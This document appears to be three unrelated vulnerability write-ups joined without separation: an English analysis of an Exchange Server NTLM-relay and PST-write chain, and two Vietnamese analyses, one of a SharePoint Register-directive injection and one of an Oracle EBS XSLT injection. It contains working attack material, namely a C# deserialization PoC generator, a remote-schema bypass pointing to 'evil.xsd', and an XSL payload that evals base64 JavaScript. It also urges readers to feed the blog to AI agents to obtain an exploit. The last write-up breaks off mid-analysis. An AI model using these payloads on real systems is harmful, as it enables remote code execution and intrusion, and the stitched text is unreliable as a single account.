While looking at the schedule of this year pwn2own, I wasn’t supprised that there was an entry of MS Exchange, and multiple entries for SharePoint. The only thing supprises me is the vuln only exists in the version using at p2o. Where can I find a SP SE instance in the real world?

After the competition, same like many people, we are curious by the performance of Orange Tsai, so we (actually only my colleague) started to dig in!

And not so long after that, in 2 days, with the assists of Claude Opus 4.6 (when they still speak English), my colleague was able to pop calc in the latest version of Exchange Server SE!

We will start the journey from bottom up, following by the ZDI’s youtube short of Exchange Entry.

Although most of information related to the vuln has already been censored, but we still got some clue:

Focus at this photo, we have these information:

• Why not reverse shell?

• Why the censored response is abnormally large like that?

• Why low_priv_attacker?

• Why ex01.exchangelab.local?

By answering these questions, we may have finished 80% of the mystery surrounding this 0day!

1. Why no reverse shell? Why large response?

Based on my past experiences with Exchange Server vuln, most of direct RCE path are gone. MS has been trying to minimize the .NET Deserialization usage, restricted most of existing deserialize entrypoint.

So yeah, because of that, we may not be able to directly execute code!

And for the large response, in the past, we already had an experience with the PST export trick, which let us create a polygot pst file, and drop that to Exchange Server (refer to the ProxyShell analysis here: https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1).

The webshell generated by this trick will have a large response, which the same as our situation!

But the thing is, New-MailboxExportRequest has already been patched, it only allows the extensions of: .pst, .eml, .ost

=> So if the bug is really the PST export trick, there should be another place that also has the ability to export PST file, not New-MailboxExportRequest

That’s enough for us to go …

What do you think? Yeah, just feed above to your AI agent, forbidden it from accessing the Aug patch tuesday, and the result may surprise you :).

Here what we got from the Codex response:

Microsoft.Exchange.PST.PSTSession.Open() method also has ability to write PST file without any restriction of file extensions:

The callstack to this sink:

MailboxReplicationProxyService.IMailbox_ConfigPst(handle, attackerPath)
 > PstDestinationMailbox.ConfigPst(attackerPath) // => set dest file path

MailboxReplicationProxyService.IMailbox_Connect()
 > PstMailbox.Connect()
 >> PSTSession.Open() // => file write

The MailboxReplicationProxyService A.K.A MRSProxy is running independent from IIS, it’s served via the MSExchangeMailboxReplication.exe process. This process is running with System privileged!

MRSProxy is the remote WCF interface exposed by this service.

This allow other Exchange components or other Exchange server to create mailbox-provider objects and operate on them remotely. It exposes these services via WCF:

[ServiceContract(SessionMode = SessionMode.Required)]
internal interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId,
        Guid primaryMailboxGuid,
        Guid physicalMailboxGuid,
        string filePath,
        byte[] partitionHint,
        Guid mdbGuid,
        string mdbName,
        MailboxType mbxType,
        int proxyControlFlags,
        int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);

    // truncated ...
}

An easy to spot entrypoint of MRSProxy is /EWS/MRSProxy.svc

This endpoint is hosted behind IIS and manage by Exchange CAFE, which has been harden for the hash relay attack since 2022.

Another entrypoint can be spot via MSExchangeMailboxReplication.exe.config

<service
    name=”Microsoft.Exchange.MailboxReplicationService.MailboxReplicationProxyService”
    behaviorConfiguration=”MrsProxyServiceBehavior”>

  <endpoint
      address=”https://localhost/Microsoft.Exchange.MailboxReplicationService.ProxyService”
      binding=”customBinding”
      bindingConfiguration=”MrsProxyHttpsBinding”
      contract=”Microsoft.Exchange.MailboxReplicationService.IMailboxReplicationProxyService” />
</service>

The corresponding binding is:

<binding name=”MrsProxyHttpsBinding”
         receiveTimeout=”00:22:00”>

<!-- truncated -->
  <httpsTransport
      authenticationScheme=”Negotiate” <= [1]
      maxReceivedMessageSize=”100000000” />
</binding>

So, this endpoint is not hosted by IIS, it directly exposed via HTTP.sys.

We can use this command to check the existence of that:

netsh http show servicestate

A remote unauthenticated request can reach this endpoint directly:

For the authentication part, we know that Exchange exposes MRSProxy through two different HTTPS paths:

• /EWS/MRSProxy.svc

• /Microsoft.Exchange.MailboxReplicationService.ProxyService

1. For /EWS/MRSProxy.svc, it has two protections:

• MRSProxyEnabled property control whether EWS can forward MRSProxy to backend, and based on my setup, I saw it’s disabled by default!

• The Exchange Extended Protection mitigation => which protect /ews from the ntlm relay attack!

So if we want to go through this path, we have to find a novel-like auth bypass, which is almost impossible for last 4 years!

2. For the second endpoint:

/Microsoft.Exchange.MailboxReplicationService.ProxyService, look at the service config at [1], we can see that, this endpoint uses Windows Negotiate auth.

And because it goes directly through the HTTP.sys, no further EAP will be applied to this auth part!

But not so fast …

It doesn’t mean that any user can authenticate to this endpoint!

Look closer at MRSProxyAuthorizationManager.GetPrincipal(), it first receives the identity established by HTTP.sys

IAuthenticationInfo authenticationInfo =
    base.Authenticate(operationContext);

WindowsIdentity windowsIdentity =
    authenticationInfo.WindowsPrincipal.Identity as WindowsIdentity;

Then, peforms the Exchange-specific authorization check:

using (ClientSecurityContext clientContext =
       new ClientSecurityContext(windowsIdentity))
{
    if (!LocalServer.AllowsTokenSerializationBy(clientContext))
    {
        return null;
    }
}

AllowsTokenSerializationBy() check whether the connecting identity has this Exchange extended right:

ms-Exch-EPI-Token-Serialization

In Exchange Server setup, only Exchange server machine accounts get this right!

So in short, this endpoint supposed to be used internally for Exchange servers only!

…

Then what? We need to find another NTLM auth bypass?

…

This is where the remaining questions give us some idea!

• Why low_priv_attacker?

• Why using the FQDN ex01.exchangelab.local for target?

The most plausible hypothesis to answer this question is:

The attacker sits inside the network, especially inside a domain-joined PC!

To confirm this hypothesis, we can ask Codex to confirm that (sorry but the time writing this, we’ve already lost access to Anthropics CVP so we can do nothing now, and Claude also talks too much now).

And we really got something useful here: MS-EFSR via Windows RPC, also widely known as the PetitPotam trick.

By using this, we can connect to a Exchange Server (for example: EX01) and call EfsRpcEncryptFileSrv():

EfsRpcEncryptFileSrv(
    FileName = “\\attacker\share\whatever”
)

Which will force Exchange Server to connect to attacker’s UNC path, and authenticate using machine account!

We don’t even need to crack this hash. As we know that the /Microsoft.Exchange.MailboxReplicationService.ProxyService endpoint didn’t have any hardened authentication mechanism.

So the answer is quite simple, just capture the hash of EX02 and relay to EX01 MRSProxy, like this:

This one works only for multiple Exchange servers setup because the captured hash cannot be relayed to itself!

I was surprised

And .. that’s all,

It requires lot of non-realistic conditions to be exploited in the real world:

• Why would someone allow Exchange Server make outbound connection?

• Why would someone allow the connection to Exchange on port 445, 139, 3389, … from domain users?

• …

But yeah, who know ¯\_(ツ)_/¯.

So, for the defensive guys, don’t be panic!

PoC:

For ready-to-play PoC, just feed this blog to your AI agents. :) It would know what to do next!

Thanks for reading!

__by Jang & Mugmug of MB VRED__

Do giới hạn về thời gian, khuyến khích bạn đọc nên đọc các blog sau để hiểu rõ hơn về root cause của attack surface này:

• https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

• https://code-white.com/blog/exploiting-asp.net-templateparser-part-1

• https://blog.viettelcybersecurity.com/sharepoint-toolshell

Như đã nói ở trên là bản update này vá nhiều bug RCE nên mình cũng không biết bug phân tích trong bài có CVE như nào nên tạm gọi nó theo entrypoint ProxyUpdateExecutor.

Sau khi cài đặt bán vá và decompile, ta có được kết quả như sau:

ProxyUpdateExecutor.cs có sự thay đổi, method HandleAttribute() của nested class RegisterDirectiveContext được add thêm filter cho các attribute

Đáng chú ý attribute Src bị filter các kí tự được dùng cho register directives cùng các kí tự hay được dùng cho việc escape string.

Lúc này mình đoán chắc là injection point nằm ở đâu đó trong đống attribute này nên trace ngược lại ProxyUpdateExecutor có access được từ user input không.

Trace một hồi thì thấy có WebPartPagesWebServices.ExecuteProxyUpdates() là có thể reach được, đây là một soap endpoint được Sharepoint expose tại /_vti_bin/webpartpages.asmx:

[WebMethod]
public string ExecuteProxyUpdates(string updateData)
{
	this.EnsureUserIsAuthenticated();
	SPWeb spweb = this.CreateWeb();
	if (spweb.DoesUserHavePermissions(SPBasePermissions.ManageLists))
	{
		try
		{
			if (string.IsNullOrEmpty(updateData))
			{
				throw new ArgumentException();
			}
			ServerWebApplication serverWebApplication = new ServerWebApplication(spweb);
			if (SPContext.Current != null)
			{
				SPContext.Current.SetDesignTimeContext(spweb, null, true);
			}
			StringBuilder stringBuilder = new StringBuilder();
			string text = null;
			using (StringWriter stringWriter = new StringWriter(stringBuilder, CultureInfo.InvariantCulture))
			{
				bool flag = !SPFarm.CheckFlag(ServerDebugFlags.DisableServerSideIncludes);
				string text2 = SPHttpUtility.HtmlDecode(updateData);
				string text3 = SPHttpUtility.HtmlDecode(text2);
				if (string.Compare(text2, text3, StringComparison.OrdinalIgnoreCase) != 0)
				{
					throw new FormatException("Data contained multiple levels of encoding");
				}
				EditingPageParser.VerifyControlOnSafeList(text2, null, spweb, flag, true);
				ProxyUpdateExecutor.Execute(updateData, stringWriter, serverWebApplication);
				text = stringWriter.ToString();
			}
			if (SPContext.Current != null)
			{
				SPContext.Current.UnSetDesignTimeContext();
			}
			return text;
		}
		catch (Exception ex)
		{
			throw this.HandleException(ex);
		}
	}
	throw SoapServerException.MakeSoapException(null, WebPartPagesWebService.WebPartPagesWebServicePermissionDenied);
}

Sau khi search internet thì mình phát hiện đây cũng từng là entrypoint cho bug cũ.

Input truyền vào có dạng như sau:

<updateData>
<![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&lt;asp:Label ID=&quot;L1&quot; Text=&quot;safe&quot; runat=&quot;server&quot; /&gt;" NeedsPreview="true"
/></Document><Actions/></Update></UpdateTransaction>]]></updateData>

input sau đó sẽ được check xem có kí tự html và có control trong SafeControls không rồi gọi tiếp tới ProxyUpdateExecutor.Execute() -> XmlInterpretter.ParseXmlLoop() -> XmlInterpretter.DoneReadingAttributes() -> ProxyUpdateExecutor.ControlContext.DoneReadingAttributes() để parse attributes vào Register Directive

internal override void DoneReadingAttributes()
{
	if (!this._markup.Validate())  // [1]
	{
		base.ThrowError(SR.GetString(SR.Ids.RemoteClientRequestRequestError, CultureInfo.CurrentUICulture));
	}
	if (this._region == null)
	{
		this._element = ((IServerDocumentDesigner)this._document).CreateElementDesigner(this._markup, this._forceUseDesigner) as ServerElement;   // [2]
	}
	else
	{
		this._element = ((IServerDocumentDesigner)this._document).CreateNestedElementDesigner(this._markup, this._region.ParentElement, this._region.RegionIndex, this._forceUseDesigner) as ServerElement;
	}
	if (!this._needsPreview)
	{
		this._element.ForgetDesignTimeHtml();
	}
	if (this._element == null)
	{
		base.SkipElement();
	}
}

Tại [1] kiểm tra markup tức tag Control truyền vào có đủ attr không:

internal bool Validate()
{
	return this._updateId != null && this._outerHtml != null && this._tagName != null;
}

Sau đó [2] gọi tới ServerDocument.CreateElementDesigner() -> ServerDocument.CreateNestedElementDesignerCore() và initialize các elements:

internal void Initialize(bool blockPropertyTraversal = false)
{
	// REDACTED
		}
		if (this._markup is InstanceMarkup)
		{
			// REDACTED
		}
		else
		{
			this.Document.CheckMarkupForSafeControls(((IWebElement)this).GetOuterHtml(), blockPropertyTraversal);     // [3]
			this._designer = this.Document.Designer.CreateElementDesigner(this, 0, null, null);  // [4]
			if (this._designer != null && this._designer.GetControl() is UserControl)
			{
				this._designer.OnUserControlLoadComplete();
			}
		}
	}
	catch (Exception ex)
	{
		this._errorMessage = ex.Message;
	}
	finally
	{
		if (this._forceUseDesigner)
		{
			this.Document.BlockUseDesignTimeHtmlProvider = false;
		}
	}
}

Tại [3] sẽ check Controls truyền vào có thuộc SafeControls list không, tại đây sẽ gọi tiếp tới EditingPageParser.VerifyControlOnSafeList() để thực hiện logic check trên. Cụ thể như sau:

internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false, bool blockPropertyTraversal = false)
{
	Hashtable hashtable = new Hashtable(StringComparer.InvariantCultureIgnoreCase);
	Hashtable hashtable2 = new Hashtable();
	List<string> list = new List<string>();
	EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);   // [5]
	EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list, blockPropertyTraversal);

Tại [5] sẽ populate register table bằng cách đọc các directives có trong RegisterDirectiveManager, tức chính là tag <Register> được truyền từ input nếu có.

Tại [6] tiếp tục parse dscXml tức OuterHtml được truyền từ input để lấy inline register directives <%@ Register %>.

// EditingPageParser.VerifyControlOnSafeList()
foreach (object obj in hashtable.Values)
{
	ArrayList arrayList = (ArrayList)obj;
	foreach (object obj2 in arrayList)
	{
		Triplet triplet = (Triplet)obj2;
		if (string.IsNullOrEmpty((string)triplet.Third)) // [7]
		{
			string text = (string)triplet.Second;
			string text2 = (string)triplet.First;
			if (!EditingPageParser.IsAssemblyNamespaceValid(text, text2))  // [8]
			{
				ULS.SendTraceTag(504656268U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Register directive(s) contains invalid values");
				throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
			}
		}
	}
}

Tiếp theo sẽ tiến hành validate các register directives lấy được từ [5] bằng cách duyệt hết value của chúng Triplet(namespace, assembly, src). Tại [7] nếu triplet.Third null tức không có src thì [8] sẽ tiến hành check namespace và assembly có các kí tự không hợp lệ không. Nếu tồn tại src sẽ ignore chỗ này.

Phase còn lại sẽ validate từng control được tìm thấy trong OuterHtml, chỗ này mình sẽ không giải thích chi tiết nữa bạn đọc có thể tự debug thêm chỗ này để hiểu rõ hơn. Lưu ý rằng phase này sẽ chỉ validate attribute OuterHtml.

Sau khi được verify, code tiếp tục gọi tới DocumentDesigner.CreateElementDesigner() -> ControlParser.ParseControl() -> ControlSerializer.DeserializeControlInternal() để tiến hành parse control.

internal static Control DeserializeControlInternal(string text, IDesignerHost host, bool applyTheme)
{
	if (host == null)
	{
		throw new ArgumentNullException("host");
	}
	if (text == null || text.Length == 0)
	{
		throw new ArgumentNullException("text");
	}
	string directives = ControlSerializer.GetDirectives(host);   // [9]
	if (directives != null && directives.Length > 0)
	{
		text = directives + text;  // [10]
	}
	DesignTimeParseData designTimeParseData = new DesignTimeParseData(host, text, ControlSerializer.GetCurrentFilter(host));
	designTimeParseData.ShouldApplyTheme = applyTheme;
	designTimeParseData.DataBindingHandler = GlobalDataBindingHandler.Handler;
	Control control = null;
	Type typeFromHandle = typeof(LicenseManager);
	lock (typeFromHandle)
	{
		LicenseContext currentContext = LicenseManager.CurrentContext;
		bool flag2 = false;
		try
		{
			if (!ControlSerializer.licenseManagerLockHeld)
			{
				LicenseManager.CurrentContext = new ControlSerializer.WebFormsDesigntimeLicenseContext(host);
				LicenseManager.LockContext(ControlSerializer.licenseManagerLock);
				ControlSerializer.licenseManagerLockHeld = true;
				flag2 = true;
			}
			control = DesignTimeTemplateParser.ParseControl(designTimeParseData);  // [11]
		}
		catch (TargetInvocationException ex)
		{
			throw ex.InnerException;
		}
		finally
		{
			if (flag2)
			{
				LicenseManager.UnlockContext(ControlSerializer.licenseManagerLock);
				LicenseManager.CurrentContext = currentContext;
				ControlSerializer.licenseManagerLockHeld = false;
			}
		}
	}
	return control;
}

Logic chỗ này thì đã quá rõ ràng rồi, tại [9] sẽ lấy register directive rồi nối chuỗi với OuterHtml để tạo thành template hoàn chỉnh. Rồi cuối cùng [11] gọi tới TemplateParser.ParseControl(), từ đây mọi thứ đã được CodeWhite phân tích rất chi tiết rồi mình xin phép không phân tích lại nữa.

Như Code White đã phân tích thì từ đây ta có thể declare được custom control bằng một arbitrary type bằng cách sử dụng register directive. Ta cùng quay lại [9] để xem register directive được lấy như nào từ input.

Từ ControlSerializer.GetDirectives() -> RegisterDirective.GetHtml():

public void GetHtml(TextWriter sw, bool includeCodeAssembly)
{
	sw.Write("<%@ Register");
	string tagPrefix = this.TagPrefix;
	if (tagPrefix != null && tagPrefix.Length > 0)
	{
		sw.Write(" TagPrefix=\"");
		sw.Write(tagPrefix);
		sw.Write("\"");
	}
	string tagName = this.TagName;
	if (tagName != null && tagName.Length > 0)
	{
		sw.Write(" TagName=\"");
		sw.Write(tagName);
		sw.Write("\"");
	}
	string @namespace = this.Namespace;
	if (@namespace != null && @namespace.Length > 0)
	{
		sw.Write(" Namespace=\"");
		sw.Write(@namespace);
		sw.Write("\"");
	}
	string assembly = this.Assembly;
	if (assembly != null && assembly.Length > 0)
	{
		sw.Write(" Assembly=\"");
		sw.Write(assembly);
		sw.Write("\"");
	}
	else if (includeCodeAssembly && this.IsCustomControl)
	{
		sw.Write(" Assembly=\"__code\"");
	}
	string src = this.Src;
	if (src != null && src.Length > 0)
	{
		sw.Write(" Src=\"");
		sw.Write(src);
		sw.Write("\"");
	}
	sw.Write(" %>");
}

Register Directive cho template sẽ được tạo bằng cách append các value ta truyền vào từ input.

Ví dụ:

<updateData><![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Register TagPrefix='x' TagName='y'
  Src='z'  /><Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&lt;asp:Label ID=&quot;L1&quot; Text=&quot;safe&quot; runat=&quot;server&quot; /&gt;" NeedsPreview="true"
  /></Document><Actions/></Update></UpdateTransaction>]]></updateData>

Như vậy register directive được tạo bằng cách thuần nối chuỗi, ta hoàn toàn có thể inject thêm arbitrary markup vào cuối thông qua attribute src, điều đó cũng được confirm thông qua đoạn diff ban đầu.

Ta có thể chèn thêm kí tự nháy kép " và các kí tự html để có thể escape ra khỏi attribute ban đầu:

<updateData><![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Register TagPrefix='x' TagName='y'
  Src='z" %&gt;&lt;%@ Register TagPrefix="__z" TagName="__c" Src="zz' /><Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&lt;asp:Label ID=&quot;L1&quot; Text=&quot;safe&quot; runat=&quot;server&quot; /&gt;" NeedsPreview="true"
  /></Document><Actions/></Update></UpdateTransaction>]]></updateData>

Như vậy chỉ bằng việc sử dụng attribute src ta vừa có thể bypass được VerifyControlOnSafeList() [7] , vừa có thể init arbitrary type thông qua injected Register Directive, một sự kết hợp tuyệt đẹp:v

Việc còn lại bây giờ là tìm được arbitrary type nào có thể giúp ta có được RCE thông no-arg constructor hoặc getter/setter method của nó. Ta có thể sử dụng lại POC của ToolShell.

Type được sử dụng cho ToolShell là Microsoft.PerformancePoint.Scorecards.ExcelDataSet. Type này có getter gọi tới Helper.GetObjectFromCompressedBase64String() -> BinarySerialization.Deserialize(). BinarySerialization lại được filter khá chặt thông qua LimitingBinder và DataSetSurrogateSelector.

Bug ToolShell được exploit bằng cách bypass được DataSetSurrogateSelector, tuy nhiên chỗ bypass này đã được patch sau đó nên hiện tại ta không thể áp nguyên poc cũ để RCE được.

Sau một hồi mò mẫm thì mình có để ý thấy ở bản vá tháng 5 có add thêm blacklist cho XmlValidator, đây cũng chính là class được DataSetSurrogateSelector dùng để thực hiện logic filter:

Bản vá đã block một số elements và attribute cho phép resolve remote schema ở XmlValidator.ValidateXml() như xs:include schemaLocation.

Như vậy ta có thể bypass được XmlValidator bằng cách thay vì truyền XmlSchema chứa blocked attribute msdata:DataType, ta chỉ cần truyền schema bình thường rồi thêm element <xs:include schemaLocation /> để nhúng remote schema khác vào:

<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
           xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="ds">
  <xs:include schemaLocation="http://TARGET/evil.xsd"/>
  <xs:element name="ds" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element ref="test"/>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

với evil.xsd:

Như vậy ta đã có thể bypass được DataSetSurrogateSelector:

POC:

using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

class Program
{
    static void Main(string[] args)
    {
        if (args.Length < 2)
        {
            Console.Error.WriteLine("Usage: poc.exe <schemaLocation_url> <losformatter_file>");
            Console.Error.WriteLine("schemaLocation_url: URL to evil.xsd on the SharePoint server");
            Console.Error.WriteLine("losformatter_file: path to file containing LosFormatter base64 payload");
            Console.Error.WriteLine();
            Console.Error.WriteLine("Example:");
            Console.Error.WriteLine("poc.exe http://splab/evil.xsd payload.b64");
            return;
        }

        string schemaLocationUrl = args[0];
        string losFormatterPayload = System.IO.File.ReadAllText(args[1]).Trim();

        string xmlSchema = @"<xs:schema xmlns="""" xmlns:xs=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" id=""ds"">
  <xs:include schemaLocation=""" + schemaLocationUrl + @"""/>
  <xs:element name=""ds"" msdata:IsDataSet=""true"" msdata:UseCurrentLocale=""true"">
    <xs:complexType>
      <xs:choice minOccurs=""0"" maxOccurs=""unbounded"">
        <xs:element ref=""test""/>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>";

        string xmlDiffGram = @"<diffgr:diffgram xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" xmlns:diffgr=""urn:schemas-microsoft-com:xml-diffgram-v1"">
  <ds>
    <test diffgr:id=""test1"" msdata:rowOrder=""0"" diffgr:hasChanges=""inserted"">
      <pwn xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"">
        <ExpandedWrapperOfLosFormatterObjectDataProvider>
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
              <anyType xsi:type=""xsd:string"">" + losFormatterPayload + @"</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type=""LosFormatter""></ObjectInstance>
          </ProjectedProperty0>
        </ExpandedWrapperOfLosFormatterObjectDataProvider>
      </pwn>
    </test>
  </ds>
</diffgr:diffgram>";

        SerializationInfo info = new SerializationInfo(typeof(DataTable), new FormatterConverter());
        info.AddValue("DataTable.RemotingVersion", new Version(2, 0));
        info.AddValue("XmlSchema", xmlSchema);
        info.AddValue("XmlDiffGram", xmlDiffGram);

        BinaryFormatter bf = new BinaryFormatter();
        using (MemoryStream ms = new MemoryStream())
        {
            bf.Serialize(ms, CreateSerializableWrapper(info));

            byte[] serialized = ms.ToArray();

            using (MemoryStream compressed = new MemoryStream())
            {
                using (GZipStream gz = new GZipStream(compressed, CompressionMode.Compress, true))
                {
                    gz.Write(serialized, 0, serialized.Length);
                }
                string result = Convert.ToBase64String(compressed.ToArray());
                Console.Write(result);
            }
        }
    }

    static object CreateSerializableWrapper(SerializationInfo info)
    {
        return new DataTableSurrogate(info);
    }
}

[Serializable]
public class DataTableSurrogate : ISerializable
{
    private SerializationInfo _info;

    public DataTableSurrogate(SerializationInfo info)
    {
        _info = info;
    }

    protected DataTableSurrogate(SerializationInfo info, StreamingContext context)
    {
        _info = info;
    }

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        foreach (SerializationEntry entry in _info)
        {
            info.AddValue(entry.Name, entry.Value);
        }
        info.SetType(typeof(DataTable));
    }
}

Hồi tháng 7 năm ngoái, hàng loạt tổ chức lớn trên thế giới bị ảnh hưởng bởi một lỗ hổng 0day trên Oracle E-Business Suite (EBS), sau đó lỗ hổng này đã được định danh: CVE-2025-61882. Và ngay sau khi thông tin này tràn lan khắp nơi, PoC được cho là có liên quan tới chiến dịch này đã được leak trên mạng. Mặc dù exploit này cực kì công phu, chain 5 bug nhỏ lẻ lại để có được preauth RCE, tuy nhiên hướng khai thác này lại có một hạn chế, yêu cầu victim phải có kết nối outbound để có thể exploit thành công. Trong thực tế thì điều này gần như là bất khả thi, server Oracle EBS thường chỉ hoạt động trong phạm vi nội bộ của tổ chức, với các network policy chặt chẽ, gần như việc để mở internet cho server EBS là không thể xảy ra trong thực tế! Và trong thực tế thì rất nhiều tổ chức đã bị dính ransomware thông qua bug này, do đó 0day bị lợi dụng không hề liên quan tới PoC mới bị leak.

Sau 4 tháng chờ đợi mà vẫn chưa có bài viết nào phân tích chi tiết hơn về bug này, chúng tôi quyết định thu thập lại các thông tin, setup lab, reproduce bug và viết chi tiết hơn về bug này.

Trước khi bắt đầu, khuyến khích bạn đọc xem qua trước các bài phân tích sau để hiểu rõ hơn về lỗ hổng:

• Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog

• CrowdStrike Identifies Campaign Targeting Oracle E-Business Suite via Zero-Day Vulnerability Tracked as CVE-2025-61882

• Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)

Analysis

1. Post Auth XLST Injection lead to RCE

Phần này đã được nêu khá rõ tại bài phân tích của Google Mandiant:

Attacker có thể sử dụng chức năng XDO Template Manager để RCE, lợi dụng chức năng Preview template để trigger XSLT injection.

Để sử dụng chức năng trên, ta cần truy cập endpoint /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES

Tạo một template mới như sau:

với file test.xsl:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">

  <xsl:template match="/">
    <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'BASE64_PAYLOAD')" />
    <xsl:variable name="js" select="str:new($bs)" />
    <xsl:variable name="m" select="jsm:new()" />
    <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" />
    <xsl:variable name="result" select="eng:eval($e, $js)" />
    <xsl:value-of select="$result" />
  </xsl:template>

</xsl:stylesheet>

Sau khi save template, click Preview để trigger bug:

Set breakpoint tại oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest()

Khi chọn Preview, EBS sẽ kiểm tra xem request có phải lovEvent không, nếu không sẽ tiếp tục check xem có param tương ứng với từng chức năng hay không. Ở đây ta đang chọn Preview nên sẽ có param preview=Y.

tại TemplateGeneralCO.previewTemplate(), tiếp tục check xem có tồn tại param TemplateCode nếu có sẽ gọi tới TemplatesAMImpl.processTemplate() → TemplateHelper.processTemplate() → TemplateHelper.runProcessTemplate().

Method TemplateHelper.runProcessTemplate() sẽ chọn các engine tương ứng với template type để xử lý. Template type của ta là XSL-HTML sẽ do engine XSLTWrapper xử lý :

else {
  Logger.log("TemplateHelper.runProcessTemplate(): Calling XSLT processor.", 1);
  XSLTWrapper var36 = new XSLTWrapper(var8);
  if (var2.getClass().isArray()) {
      throw new XDOException("You cannot pass multiple data XMLs to PDF Form processor.");
  }

  if (var2.getClass().getName().endsWith("Reader")) {
      var36.transform((Reader)var2, new InputStreamReader(var10, "UTF-8"), var22);
  } else {
      var36.transform((InputStream)var2, var10, var22);
}

từ đây tiếp tục call tới XSLT10gR1.transform() → XSLT10gR1.invokeProcessXSL() và đây cũng chính là sink của bug này:

private void invokeProcessXSL(Object var1, Object var2, Object var3, OutputStream var4) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
    Class[] var5 = new Class[]{Class.forName("oracle.xdo.parser.v2.XSLStylesheet"), Class.forName("oracle.xdo.parser.v2.XMLDocument"), class$java$io$OutputStream != null ? class$java$io$OutputStream : (class$java$io$OutputStream = class$("java.io.OutputStream"))};
    Method var6 = null;
    var6 = var1.getClass().getMethod("processXSL", var5);
    var6.invoke(var1, var2, var3, var4);
}

Stack trace từ sink tới source:

oracle.apps.xdo.common.xml.XSLT10gR1.invokeProcessXSL(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLTWrapper.transform(Unknown Source)
oracle.apps.xdo.oa.schema.server.TemplateHelper.runProcessTemplate(TemplateHelper.java:6108)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3481)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3570)
oracle.apps.xdo.oa.template.server.TemplatesAMImpl.processTemplate(TemplatesAMImpl.java:2144)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:606)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAApplicationModuleImpl.invokeMethod(OAApplicationModuleImpl.java:787)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.previewTemplate(TemplateGeneralCO.java:774)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest(TemplateGeneralCO.java:158)

2. Authentication Bypass

Đây có lẽ là mảnh ghép cuối cùng còn thiếu của 0day này, mặc dù đã được đề cập trong các bài phân tích của CrowdStrike và Mandiant, tuy nhiên để produce được, cần phải setup lab và debug sâu hơn.

Theo bài phân tích của cả CrowdStrike và Mandiant, chuỗi khai thác này bắt đầu bằng một request POST tới endpoint /OA_HTML/SyncServlet.

Servlet này được định nghĩa trong tệp web.xml tại đường dẫn: /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml

<servlet-mapping> 
